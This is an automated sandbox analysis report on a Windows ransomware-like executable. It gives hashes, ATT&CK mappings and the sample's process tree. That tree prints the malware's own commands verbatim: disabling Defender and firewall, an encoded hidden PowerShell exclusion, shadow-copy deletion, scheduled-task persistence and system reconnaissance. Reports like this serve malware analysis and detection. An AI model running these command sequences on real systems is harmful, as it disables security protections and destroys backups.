ea830c4f07a43e3a5b22a1d0b08ba6feea459239aeddbf1df937268126fc68c8

Analysis

max time kernel
6s
max time network
161s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/05/2026, 07:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
nailnerd.com_chromess.exe
Size 48KB
Sample260504-jletkses2x
SHA256 ea830c4f07a43e3a5b22a1d0b08ba6feea459239aeddbf1df937268126fc68c8
MD5 fb9ded31c61dc492bd699156cd630205
SHA1 26e5ab31b0ec7fcbea65d30bbf71de5961eded50
SHA512 465eb4b7e11c75a8c4030d2fd4813858b564d40309ea1a63f2f1ec4ac86ae74d858a635057a2c67bba3cd5b9e16d8ac34fd6b8cfff056e3e1375b6b63b76bd10
SSDEEP 768:khHDTj5D++kqUF7NaEi47//o4ZC1XXGblfA0HKFcM:4HL5DI1QET7I4ZEXGblf9HucM
TLSH
T1A023F70437F94111E1FF5ABA8DB196019B31F8939C23E78E06D5058E1AB3780DEA8B77
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution impact persistence ransomware

Malware Config

Signatures

Contains code to disable Windows Defender 2 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/3100-0-0x0000000000B00000-0x0000000000B12000-memory.dmp	disable_win_def
behavioral2/files/0x001500000002b7e5-2457.dat	disable_win_def

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4500	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1596	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
1924	tasklist.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3116	sc.exe
2412	sc.exe
3300	sc.exe
1768	sc.exe
2380	sc.exe
2340	sc.exe
3280	sc.exe
1760	sc.exe
2984	sc.exe
3840	sc.exe
4556	sc.exe
2332	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3036	chrome.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1232	NETSTAT.EXE
3916	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2176	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2580	vssadmin.exe
3276	vssadmin.exe
2464	vssadmin.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4052	schtasks.exe
4040	schtasks.exe
4296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4500	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4500	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3100 wrote to memory of 3360	3100	nailnerd.com_chromess.exe	80
PID 3360 wrote to memory of 3376	3360	chrome.exe	81
PID 3100 wrote to memory of 4500	3100	nailnerd.com_chromess.exe	82
PID 3100 wrote to memory of 2380	3100	nailnerd.com_chromess.exe	84
PID 3100 wrote to memory of 2984	3100	nailnerd.com_chromess.exe	86
PID 3100 wrote to memory of 2340	3100	nailnerd.com_chromess.exe	88
PID 3100 wrote to memory of 3840	3100	nailnerd.com_chromess.exe	90
PID 3100 wrote to memory of 4556	3100	nailnerd.com_chromess.exe	92
PID 3100 wrote to memory of 2332	3100	nailnerd.com_chromess.exe	94
PID 3100 wrote to memory of 3280	3100	nailnerd.com_chromess.exe	96
PID 3360 wrote to memory of 3036	3360	chrome.exe	98

C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe
"C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://nailnerd.com
  2⤵
  - Enumerates system info in registry
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc2c78c728,0x7ffc2c78c734,0x7ffc2c78c740
    3⤵
    PID:3376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1872,i,64181103400586265,18352633662461927989,524288 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2108 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1592,i,17128108587214269636,5407434753556707252,262144 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2060 /prefetch:2
    3⤵
    PID:3084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2248,i,11296905526746797680,7436863600997189714,524288 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2376 /prefetch:13
    3⤵
    PID:2044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3140,i,385561466703268133,8804145330523928660,2097152 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3168 /prefetch:1
    3⤵
    PID:4636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3148,i,13775357233285840529,1549738667425302536,2097152 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3196 /prefetch:1
    3⤵
    PID:1272
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4200,i,10123331066749497390,3510143243944253666,2097152 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4204 /prefetch:9
    3⤵
    PID:4640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5392,i,13320309340841278821,9490447098530374670,524288 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5196 /prefetch:14
    3⤵
    PID:1400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5436,i,2104300753737637014,1751224134806944518,524288 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5424 /prefetch:14
    3⤵
    PID:1452
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5440,i,16708067775330480901,14148896403652511280,524288 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5480 /prefetch:14
    3⤵
    PID:1620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5444,i,8317620276155925418,7533092606694138229,524288 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5520 /prefetch:14
    3⤵
    PID:1736
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5292,i,15298132830487238387,2964326579016927422,2097152 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5508 /prefetch:1
    3⤵
    PID:4336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5752,i,12958116633655094040,3048540467981395314,2097152 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5756 /prefetch:1
    3⤵
    PID:2312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3620,i,273059675627768689,12081777104639804033,262144 --field-trial-handle=2064,i,17178843000288944032,11119100417702685972,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4408 /prefetch:10
    3⤵
    PID:4924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4500
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2380
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2984
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2340
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3840
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4556
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3280
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1760
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:3384
- - C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe
    "C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe"
    3⤵
    PID:72
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2412
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3116
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2580
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:2456
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  PID:2604
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4052
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4040
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1808
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3276
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:2832
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:2848
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  PID:4016
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2464
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:3300
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:1596
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  PID:5024
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2176
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  PID:1916
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:1924
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  PID:4908
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4808
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  PID:4396
- - C:\Windows\system32\net.exe
    net user
    3⤵
    PID:4528
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:4652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  PID:1828
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3916
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  PID:560
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1232
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4296
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  PID:5008
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3300
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1768

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:984

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:3660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:532

C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe
C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe
1⤵
PID:3968

C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe
C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe
1⤵
PID:1228

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

invoice_1.pdf

Path C:\ProgramData\invoice_1.pdf
Size 65KB
SHA256 202dee2b86072353dac8418c4e68e06974dce80649d9dc6023d939861854e682
MD5 e31436f24fde067e3aa765bd5ffb4fe0
SHA1 fda64d17b3a663ca82af0425b49fdeab52d11ae4
SHA512 a0270170fd62e7b3eb75830fe8903ec09d25a1c6cfaae5cf479a5b5d9fb55873f0f28b73f1965fc90c7535631c6d8c36f3a6f15be13e4dd45533169bb212af6d
SSDEEP 1536:wBUaGQCigDpJIgIko/IRm6RtKEpL1vc140zzOCBV7Br8ea:wBUaGdigDI2gKvRrJ1Ue0zzd7pI
TLSH
T15E631A368B23FCD4777F3D80E02039561C883E7B87B5257CFA811DA629A5584DF2E5A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

doc_3.pdf

Path C:\SystemVolumeInformation\doc_3.pdf
Size 64KB
SHA256 6daa9c8cf60fa5a599013790d98e188070be2355835b261bca513d9acff953e1
MD5 d26c902a10bbb1d1cd5d3ad7bff54b8b
SHA1 e8b21f6856a87f077098117a3b34d50c45254409
SHA512 c3f1249f6f0948ffe0253619a0f990f7b0411a3b5771866a34dd64807eb3a21818436cb336f238eba7f6d31698aa0f7dc80c765338a8fa34eca98fb72456a8b2
SSDEEP 1536:QBUaGQCigDpJIgIko/IRm6RtKEpL1vc140zzOCBV7Br8et:QBUaGdigDI2gKvRrJ1Ue0zzd7pD
TLSH
T179531A368B23FCD4377F3D80E06039561C883E7B87B5257CFA811DA529A5584DF2E9A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 cc0128429aa3111efa1e3f57259ed26edd51cc97966d148ceb1fdd2c221e1028
MD5 180b7b900f5c20c561ed5d4ad3ea859b
SHA1 8af8eeddaabaae1cfc0d9d463946ec2e959c4e66
SHA512 7b7c8e95447148a4311335b6ff6b10a26a693b0f9b30a0ea58cefcd2d0629cdaeb02bf42854b5f5e6afe4b7a7a9ce2b47395dbd358236da9d7f577cd16b50f54
TLSH
T1B1E0ABAAD8718C2709FD0F2850500743E290135A2B50441F363CC2084FF1A3B464185C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 408B
SHA256 83a96dab18945e3fddba918935ac6606d555d96e7f2bf2b1dc7f77e768520132
MD5 95f7786e7a90c1c37502de0f04b72af7
SHA1 c5da1329c3395d0ccc938fd8bb532d0660803e45
SHA512 775aa8f19205cc674b1adbd502418e4366dd12920bdaf700478d2107ee58e9dd151e1f2b7aae86c5aad000906faac3048af4c8709bc56a36b71be4f2fe26109f
TLSH
T155E08611D2D01642DF0D5FB1E8C73E40F0314ADA04071E73525104769666BD94CDD8D5
MD5 SHA1 SHA512 TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
Size 160KB
SHA256 8e691f745909b0a1df39ce57e36fec2dfcba3ca3da64782b6c89d4f076900a7b
MD5 a33979f1f97ec84784356ffc3d436e4a
SHA1 dac87e4568160fc7689a6221e57e504476009d32
SHA512 19bd1f4b335ae4c4d62e93c4232c4df0017ec0a422e88d329ba8af176d7db3d3af840d295ba22aa3371542b7dfca25ed86cc076e48b629ba6f7a66c826f41611
SSDEEP 96:EAbM/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0JG:3M/tH+bF+UI3iWGVYWNkqp3R
TLSH
T1CFF32D1E6F743311CDBD923A68EA05A75D7CF03F8B5366C66C6104B1CEE2A52B05C4AE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 6969acdc2c0d6d7504b803bb3007bfcd181baa4876f6906de11d3ae11ce43ceb
MD5 6be8e9cd49fa18d72e09fce6ac1f00d2
SHA1 c03365d689bc4fff06678a2706d7111d55ba5d15
SHA512 2f699883e7f39b2a8d131f83b3fe26d9840e9903232cddaf432f2602e9c128412cf2c0d789690024bbf12ff3f7071f8ad2a782c1337c25ff81ce464f6141595f
SSDEEP 192:DmRv4LBTIaEagdmAcxRehGk6FexunYS4RXKHT8d7:DmRv41TIaEagdmAcxRehGk6FexunYS4v
TLSH
T1D9D148F7C2E8992D891156F0AB152E1BCE590958572C3C57C8D4EF8F67E29B2E30064F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 5KB
SHA256 d0c36f1bf82c0f93bd4f3216c4b35961bce15d44bc24c4cd3918ec4fb75a9bd9
MD5 63523fb4743e1a08b907639dcced1f58
SHA1 b8e10a1b77cd2b9ed29c91ee2ea30c7e0a713701
SHA512 3430a5be13c978950c44b310714a1f6cb951ab4e186f8b07d6801a92c5c037542114183f9f8f4663982931d20ecb7c6aebbbdf5d1faa53958a3943b2af42bc85
SSDEEP 96:DmF7LF75F72IaEagdmAcxF7bF7vF7kF7TF7wF7qF7cFEVF7DuF7J8vF77sF7E4FQ:DmRvEIaEagdmAcxpBehGk6FexunYSH8F
TLSH
T19BB158F7C2E4992D891156F0AB152E2BCE590918572C3C67C8D4EF8F67E29B2E30064F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 234eef7953737a1cef1d2bf6cb618c5984a22023c071a18c2e9e448404fafd73
MD5 c760db579bb4e52346daa1f3f4045076
SHA1 4f9663e4167b2ac2a4f8e2955b91d6bdaa62859a
